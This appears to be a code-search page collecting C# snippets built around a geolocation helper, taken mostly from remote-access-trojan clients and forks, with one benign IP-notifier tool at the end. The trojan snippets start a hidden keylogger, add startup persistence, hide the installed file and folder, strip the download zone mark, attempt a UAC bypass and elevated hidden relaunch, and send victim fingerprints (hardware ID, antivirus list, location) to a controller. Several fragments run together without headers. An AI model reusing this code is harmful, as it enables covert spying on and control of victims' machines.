Esempio n. 1
0
 public static void HandleGetAuthentication(Packets.ServerPackets.GetAuthentication command, Client client)
 {
     GeoLocationHelper.Initialize();
     new Packets.ClientPackets.GetAuthenticationResponse(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType,
                                                         GeoLocationHelper.Country, GeoLocationHelper.CountryCode, GeoLocationHelper.Region, GeoLocationHelper.City, GeoLocationHelper.ImageIndex,
                                                         SystemCore.GetId(), SystemCore.GetUsername(), SystemCore.GetPcName()).Execute(client);
 }
Esempio n. 2
0
        public static void HandleGetAuthentication(GetAuthentication command, Client client)
        {
            GeoLocationHelper.Initialize();

            client.Send(new GetAuthenticationResponse
            {
                Version         = Settings.VERSION,
                OperatingSystem = PlatformHelper.FullName,
                AccountType     = WindowsAccountHelper.GetAccountType(),
                Country         = GeoLocationHelper.GeoInfo.Country,
                CountryCode     = GeoLocationHelper.GeoInfo.CountryCode,
                Region          = GeoLocationHelper.GeoInfo.Region,
                City            = GeoLocationHelper.GeoInfo.City,
                ImageIndex      = GeoLocationHelper.ImageIndex,
                Id       = DevicesHelper.HardwareId,
                Username = WindowsAccountHelper.GetName(),
                PcName   = SystemHelper.GetPcName(),
                Tag      = Settings.TAG
            });

            if (ClientData.AddToStartupFailed)
            {
                Thread.Sleep(2000);
                client.Send(new SetStatus
                {
                    Message = "Adding to startup failed."
                });
            }
        }
 public static RemoteClientInformation CreateRandom(string SourceID)
 {
     try
     {
         GeoLocationHelper.Initialize();
         Size   screenSize = GetScreenSize();
         string text       = TimeZone.CurrentTimeZone.GetUtcOffset(DateTime.Now).ToString();
         if (!text.StartsWith("-"))
         {
             text = "+" + text;
         }
         return(new RemoteClientInformation
         {
             ID = 0,
             LogTime = DateTime.Now,
             SourceID = SourceID,
             UserName = Environment.UserName,
             ClientIP = RandomIp(),
             Country = GeoLocationHelper.GeoInfo.CountryCode,
             OperationSystem = ParseOS(),
             HardwareID = ParseHWID(),
             Hardwares = ParseHardwares(),
             Antiviruses = ParseDefenders(),
             Languages = AvailableLanguages(),
             CurrentLanguage = InputLanguage.get_CurrentInputLanguage().get_Culture().EnglishName,
             MonitorSize = $"{screenSize.Width}x{screenSize.Height}",
             TimeZone = "UTC" + text,
             City = GeoLocationHelper.GeoInfo.City
         });
     }
     catch
     {
         return(null);
     }
 }
Esempio n. 4
0
        private static bool Initialize()
        {
            var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));

            if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION))
            {
                return(false);
            }

            AES.SetDefaultKey(Settings.PASSWORD);
            ClientVerisi.InstallPath = Path.Combine(Settings.DIR,
                                                    ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            DosyaYardımcısı.DeleteZoneIdentifier(ClientVerisi.CurrentPath);

            if (!Settings.INSTALL || ClientVerisi.CurrentPath == ClientVerisi.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP)
                {
                    if (!Başlangıç.AddToStartup())
                    {
                        ClientVerisi.AddToStartupFailed = true;
                    }
                }

                if (Settings.INSTALL && Settings.HIDEFILE)
                {
                    try
                    {
                        File.SetAttributes(ClientVerisi.CurrentPath, FileAttributes.Hidden);
                    }
                    catch (Exception)
                    {
                    }
                }

                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop   = new ApplicationContext();
                        var logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    })
                    {
                        IsBackground = true
                    }.Start();
                }

                ConnectClient = new KuuhakuClient(hosts);
                return(true);
            }
            MutexHelper.CloseMutex();
            ClientYükleyici.Install(ConnectClient);
            return(false);
        }
Esempio n. 5
0
        private static void Initialize()
        {
            if (!MutexHelper.CreateMutex(Settings.MUTEX))
            {
                ClientData.Disconnect = true; // process with same mutex is already running
            }
            if (ClientData.Disconnect)
            {
                return;
            }

            AES.PreHashKey(Settings.PASSWORD);
            _hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
            ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            if (_hosts.IsEmpty)
            {
                ClientData.Disconnect = true; // no hosts to connect
            }
            if (ClientData.Disconnect)
            {
                return;
            }

            FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);

            if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP && Settings.INSTALL)
                {
                    if (!Startup.AddToStartup())
                    {
                        ClientData.AddToStartupFailed = true;
                    }
                }

                InitializeClient();

                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop         = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    }).Start();
                }
            }
            else
            {
                MutexHelper.CloseMutex();
                ClientInstaller.Install(ConnectClient);
            }
        }
Esempio n. 6
0
        private static void Initialize()
        {
            Thread.Sleep(2000);

            AES.PreHashKey(Settings.PASSWORD);
            _hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
            SystemCore.OperatingSystem = SystemCore.GetOperatingSystem();
            SystemCore.MyPath = Application.ExecutablePath;
            SystemCore.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
            SystemCore.AccountType = SystemCore.GetAccountType();
            GeoLocationHelper.Initialize();

            if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath)
            {
                if (!SystemCore.CreateMutex(ref _appMutex))
                    SystemCore.Disconnect = true;

                if (SystemCore.Disconnect)
                    return;

                new Thread(SystemCore.UserIdleThread).Start();

                if (Settings.STARTUP && Settings.INSTALL)
                {
                    SystemCore.AddToStartup();
                }

                InitializeClient();

                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    }).Start(); ;
                }
            }
            else
            {
                if (!SystemCore.CreateMutex(ref _appMutex))
                    SystemCore.Disconnect = true;

                if (SystemCore.Disconnect)
                    return;

                SystemCore.Install();
            }
        }
Esempio n. 7
0
        public static void HandleGetAuthentication(Packets.ServerPackets.GetAuthentication command, Client client)
        {
            GeoLocationHelper.Initialize();
            new Packets.ClientPackets.GetAuthenticationResponse(Settings.VERSION, PlatformHelper.FullName, WindowsAccountHelper.GetAccountType(),
                                                                GeoLocationHelper.GeoInfo.country, GeoLocationHelper.GeoInfo.country_code,
                                                                GeoLocationHelper.GeoInfo.region, GeoLocationHelper.GeoInfo.city, GeoLocationHelper.ImageIndex,
                                                                DevicesHelper.HardwareId, WindowsAccountHelper.GetName(), SystemHelper.GetPcName(), Settings.TAG).Execute(client);

            if (ClientData.AddToStartupFailed)
            {
                Thread.Sleep(2000);
                new Packets.ClientPackets.SetStatus("Adding to startup failed.").Execute(client);
            }
        }
        public static void HandleGetAuthentication(GetAuthentication command, Client client)
        {
            GeoLocationHelper.Initialize();
            new GetAuthenticationResponse(Settings.VERSION, PlatformYardımcısı.Tamİsim,
                                          WindowsAccountHelper.GetAccountType(),
                                          GeoLocationHelper.GeoInfo.Ülke, GeoLocationHelper.GeoInfo.Ülke_Kodu,
                                          GeoLocationHelper.GeoInfo.Bölge, GeoLocationHelper.GeoInfo.Şehir, GeoLocationHelper.ImageIndex,
                                          CihazYardımcısı.HardwareId, WindowsAccountHelper.GetName(), SystemHelper.GetPcName(), Settings.TAG)
            .Execute(client);

            if (ClientVerisi.AddToStartupFailed)
            {
                Thread.Sleep(2000);
                new SetStatus("Başlangıca Ekleme Başarısız.").Execute(client);
            }
        }
Esempio n. 9
0
        private void OnClientState(Client client, bool connected)
        {
            Identified = false; // always reset identification

            if (connected)
            {
                // send client identification once connected

                GeoLocationHelper.Initialize();

                client.Send(new ClientIdentification
                {
                    Version         = Settings.VERSION,
                    OperatingSystem = PlatformHelper.FullName,
                    AccountType     = WindowsAccountHelper.GetAccountType(),
                    Country         = GeoLocationHelper.GeoInfo.Country,
                    CountryCode     = GeoLocationHelper.GeoInfo.CountryCode,
                    Region          = GeoLocationHelper.GeoInfo.Region,
                    City            = GeoLocationHelper.GeoInfo.City,
                    ImageIndex      = GeoLocationHelper.ImageIndex,
                    Id            = DevicesHelper.HardwareId,
                    Username      = WindowsAccountHelper.GetName(),
                    PcName        = SystemHelper.GetPcName(),
                    Tag           = Settings.TAG,
                    EncryptionKey = Settings.ENCRYPTIONKEY,
                    Signature     = Convert.FromBase64String(Settings.SERVERSIGNATURE)
                });

                if (ClientData.AddToStartupFailed)
                {
                    Thread.Sleep(2000);
                    client.Send(new SetStatus
                    {
                        Message = "Adding to startup failed."
                    });
                }
            }


            if (!connected && !Exiting)
            {
                LostConnection();
            }
        }
        // Token: 0x0600098E RID: 2446 RVA: 0x0001F7AC File Offset: 0x0001D9AC
        public static RemoteClientInformation Create(string SourceID)
        {
            RemoteClientInformation result;

            try
            {
                GeoLocationHelper.Initialize();
                Size   screenSize = ClientInfoHelper.GetScreenSize();
                string text       = TimeZone.CurrentTimeZone.GetUtcOffset(DateTime.Now).ToString();
                if (!text.StartsWith("-"))
                {
                    text = "+" + text;
                }
                result = new RemoteClientInformation
                {
                    ID              = 0,
                    LogTime         = DateTime.Now,
                    SourceID        = SourceID,
                    UserName        = Environment.UserName,
                    ClientIP        = GeoLocationHelper.GeoInfo.Query,
                    Country         = GeoLocationHelper.GeoInfo.CountryCode,
                    OperationSystem = ClientInfoHelper.ParseOS(),
                    HardwareID      = ClientInfoHelper.ParseHWID(),
                    Hardwares       = ClientInfoHelper.ParseHardwares(),
                    Antiviruses     = ClientInfoHelper.ParseDefenders(),
                    Languages       = ClientInfoHelper.AvailableLanguages(),
                    CurrentLanguage = InputLanguage.CurrentInputLanguage.Culture.EnglishName,
                    MonitorSize     = string.Format("{0}x{1}", screenSize.Width, screenSize.Height),
                    TimeZone        = "UTC" + text,
                    City            = GeoLocationHelper.GeoInfo.City
                };
            }
            catch
            {
                result = null;
            }
            return(result);
        }
Esempio n. 11
0
        private static bool Initialize()
        {
            var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));

            // process with same mutex is already running
            if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
            {
                return(false);
            }

            Aes128.SetDefaultKey(Settings.KEY, Settings.AUTHKEY);
            ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);

            if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP)
                {
                    if (!Startup.AddToStartup())
                    {
                        ClientData.AddToStartupFailed = true;
                    }
                }

                if (Settings.INSTALL && Settings.HIDEFILE)
                {
                    try
                    {
                        File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden);
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
                {
                    try
                    {
                        DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath));
                        di.Attributes |= FileAttributes.Hidden;
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop         = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    })
                    {
                        IsBackground = true
                    }.Start();
                }

                ConnectClient = new QuasarClient(hosts);
                return(true);
            }
            else
            {
                MutexHelper.CloseMutex();
                ClientInstaller.Install(ConnectClient);
                return(false);
            }
        }
Esempio n. 12
0
        public void GetSystemInfosHandler(TcpSocketSaeaSession session)
        {
            ThreadHelper.ThreadPoolStart(c =>
            {
                GeoLocationHelper.Initialize();

                var infos = new List <SystemInfoItem>();
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "主板序列号",
                    Value    = SystemInfoHelper.BIOSSerialNumber
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "网卡MAC",
                    Value    = SystemInfoHelper.GetMacAddress
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "驱动器存储信息",
                    Value    = SystemInfoHelper.GetMyDriveInfo
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "运行目录",
                    Value    = Application.ExecutablePath
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "系统版本号",
                    Value    = Environment.Version.ToString()
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "启动毫秒",
                    Value    = Environment.TickCount.ToString()
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "登录账户",
                    Value    = Environment.UserName
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "被控服务启动时间",
                    Value    = AppConfiguartion.RunTime
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "系统版本",
                    Value    = SystemInfoHelper.GetOSFullName
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "系统核心数",
                    Value    = Environment.ProcessorCount.ToString()
                });

                infos.Add(new SystemInfoItem()
                {
                    ItemName = "CPU信息",
                    Value    = SystemInfoHelper.GetMyCpuInfo
                });

                infos.Add(new SystemInfoItem()
                {
                    ItemName = "系统内存",
                    Value    = (SystemInfoHelper.GetMyMemorySize / 1024 / 1024) + "MB"
                });

                infos.Add(new SystemInfoItem()
                {
                    ItemName = "计算机名称",
                    Value    = Environment.MachineName
                });

                infos.Add(new SystemInfoItem()
                {
                    ItemName = "被控服务版本",
                    Value    = AppConfiguartion.Version
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "WAN IP",
                    Value    = GeoLocationHelper.GeoInfo.Ip
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "LAN IP",
                    Value    = SystemInfoHelper.GetLocalIPV4()
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "安全软件",
                    Value    = SystemInfoHelper.GetAntivirus()
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "国家",
                    Value    = GeoLocationHelper.GeoInfo.Country
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "ISP",
                    Value    = GeoLocationHelper.GeoInfo.Isp
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "GPU",
                    Value    = SystemInfoHelper.GetGpuName()
                });
                var sysInfos         = new SystemInfoPack();
                sysInfos.SystemInfos = infos.ToArray();
                SendTo(CurrentSession, MessageHead.C_SYSTEM_SYSTEMINFO, sysInfos);
            });
        }
Esempio n. 13
0
        private static void Initialize()
        {
            Thread.Sleep(2000);

            SystemCore.OperatingSystem = SystemCore.GetOperatingSystem();
            SystemCore.MyPath          = Application.ExecutablePath;
            SystemCore.InstallPath     = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
            SystemCore.AccountType     = SystemCore.GetAccountType();
            GeoLocationHelper.Initialize();

            if (Settings.ENABLEUACESCALATION)
            {
                if (SystemCore.TryUacTrick())
                {
                    SystemCore.Disconnect = true;
                }

                if (SystemCore.Disconnect)
                {
                    return;
                }
            }

            if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath)
            {
                if (!SystemCore.CreateMutex(ref _appMutex))
                {
                    SystemCore.Disconnect = true;
                }

                if (SystemCore.Disconnect)
                {
                    return;
                }

                new Thread(SystemCore.UserIdleThread).Start();

                if (Settings.STARTUP && Settings.INSTALL)
                {
                    SystemCore.AddToStartup();
                }

                InitializeClient();

                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop         = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    }).Start();;
                }
            }
            else
            {
                if (!SystemCore.CreateMutex(ref _appMutex))
                {
                    SystemCore.Disconnect = true;
                }

                if (SystemCore.Disconnect)
                {
                    return;
                }

                SystemCore.Install();
            }
        }
Esempio n. 14
0
        private static bool Initialize()
        {
            var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));

            // process with same mutex is already running
            if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
            {
                return(false);
            }

            ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            // Request elevation
            if (Settings.REQUESTELEVATIONONEXECUTION && WindowsAccountHelper.GetAccountType() != "Admin")
            {
                ProcessStartInfo processStartInfo = new ProcessStartInfo
                {
                    FileName        = "cmd",
                    Verb            = "runas",
                    Arguments       = "/k START \"\" \"" + ClientData.CurrentPath + "\" & EXIT",
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    UseShellExecute = true
                };

                MutexHelper.CloseMutex();  // close the mutex so our new process will run
                bool success = true;
                try
                {
                    Process.Start(processStartInfo);
                }
                catch
                {
                    success = false;
                    MutexHelper.CreateMutex(Settings.MUTEX);  // re-grab the mutex
                }

                if (success)
                {
                    ConnectClient.Exit();
                }
            }

            FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);

            if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP)
                {
                    if (!Startup.AddToStartup())
                    {
                        ClientData.AddToStartupFailed = true;
                    }
                }

                if (Settings.INSTALL && Settings.HIDEFILE)
                {
                    try
                    {
                        File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden);
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
                {
                    try
                    {
                        DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath));
                        di.Attributes |= FileAttributes.Hidden;
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop         = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    })
                    {
                        IsBackground = true
                    }.Start();
                }

                ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
                return(true);
            }

            MutexHelper.CloseMutex();
            ClientInstaller.Install(ConnectClient);
            return(false);
        }
Esempio n. 15
0
        /// <summary>
        /// Sraw wan info.
        /// </summary>
        /// <param name="ip">if is null return current ip info.</param>
        void getWanInfo(string ip)
        {
            toolStripStatusLabelWoring.Text = "Working";

            this.Invoke((MethodInvoker) delegate
            {
                Refresh();
            });

            GeoLocationHelper geoip = new GeoLocationHelper();

            geoip.Initialize(ip);

            string country = geoip.GeoInfo.CountryCode;

            if (country == null)//No country found
            {
                country = "xy";
            }
            else
            {
                country = country.ToLower();
            }

            string[] internal_names = new string[] { "as", "do", "in", "is" };
            if (internal_names.Contains(country))
            {
                country = "_" + country;
            }
            pictureBox1.Image = (Image)WAN_IP_Notifier.Properties.Resources.ResourceManager.GetObject(country);


            if (geoip.GeoInfo.Status != "success")
            {
                //labelStatus.Text = "Error";
                labelStatus.Invoke((MethodInvoker) delegate
                {
                    labelStatus.Text      = "Error";
                    labelStatus.ForeColor = Color.Red;
                });

                labelAS.Invoke((MethodInvoker) delegate { labelAS.Text = ""; });
                labelCity.Invoke((MethodInvoker) delegate { labelCity.Text = ""; });
                labelCountry.Invoke((MethodInvoker) delegate { labelCountry.Text = ""; });
                labelIP.Invoke((MethodInvoker) delegate { labelIP.Text = ""; });
                labelIsp.Invoke((MethodInvoker) delegate { labelIsp.Text = ""; });
                labelOrganization.Invoke((MethodInvoker) delegate { labelOrganization.Text = ""; });
                labelRegion.Invoke((MethodInvoker) delegate { labelRegion.Text = ""; });
                labelRegionName.Invoke((MethodInvoker) delegate { labelRegionName.Text = ""; });
                labelTimeZone.Invoke((MethodInvoker) delegate { labelTimeZone.Text = ""; });
                labelZip.Invoke((MethodInvoker) delegate { labelZip.Text = ""; });

                notifyIcon1.ShowBalloonTip(10, "Error", "Error in get wan IP", ToolTipIcon.Error);
            }

            else
            {
                labelStatus.Invoke((MethodInvoker) delegate {
                    labelStatus.Text      = geoip.GeoInfo.Status;
                    labelStatus.ForeColor = Color.Green;
                });

                labelAS.Invoke((MethodInvoker) delegate { labelAS.Text = geoip.GeoInfo.As; });
                labelCity.Invoke((MethodInvoker) delegate { labelCity.Text = geoip.GeoInfo.City; });
                labelCountry.Invoke((MethodInvoker) delegate { labelCountry.Text = geoip.GeoInfo.Country + " (" + geoip.GeoInfo.CountryCode + ")"; });
                labelIP.Invoke((MethodInvoker) delegate { labelIP.Text = geoip.GeoInfo.Ip; });
                labelIsp.Invoke((MethodInvoker) delegate { labelIsp.Text = geoip.GeoInfo.Isp; });
                labelOrganization.Invoke((MethodInvoker) delegate { labelOrganization.Text = geoip.GeoInfo.Org; });
                labelRegion.Invoke((MethodInvoker) delegate { labelRegion.Text = geoip.GeoInfo.Region; });
                labelRegionName.Invoke((MethodInvoker) delegate { labelRegionName.Text = geoip.GeoInfo.RegionName; });
                labelTimeZone.Invoke((MethodInvoker) delegate { labelTimeZone.Text = geoip.GeoInfo.Timezone; });
                labelZip.Invoke((MethodInvoker) delegate { labelZip.Text = geoip.GeoInfo.Zip; });

                toolStripStatusLabel1.Text = "Last update: " + DateTime.Now.ToString();

                if (ip == "")//if is local ip
                {
                    if (prev_ip != geoip.GeoInfo.Ip)
                    {
                        notifyIcon1.ShowBalloonTip(20, "WAN ip changed", String.Format("New Wan IP is: {0} ({1})",
                                                                                       geoip.GeoInfo.Ip, geoip.GeoInfo.Country),
                                                   ToolTipIcon.Info);
                        notifyIcon1.Text = prev_ip = geoip.GeoInfo.Ip;
                    }
                }
            }
            toolStripStatusLabelWoring.Text = "Idle";
            // Refresh();
        }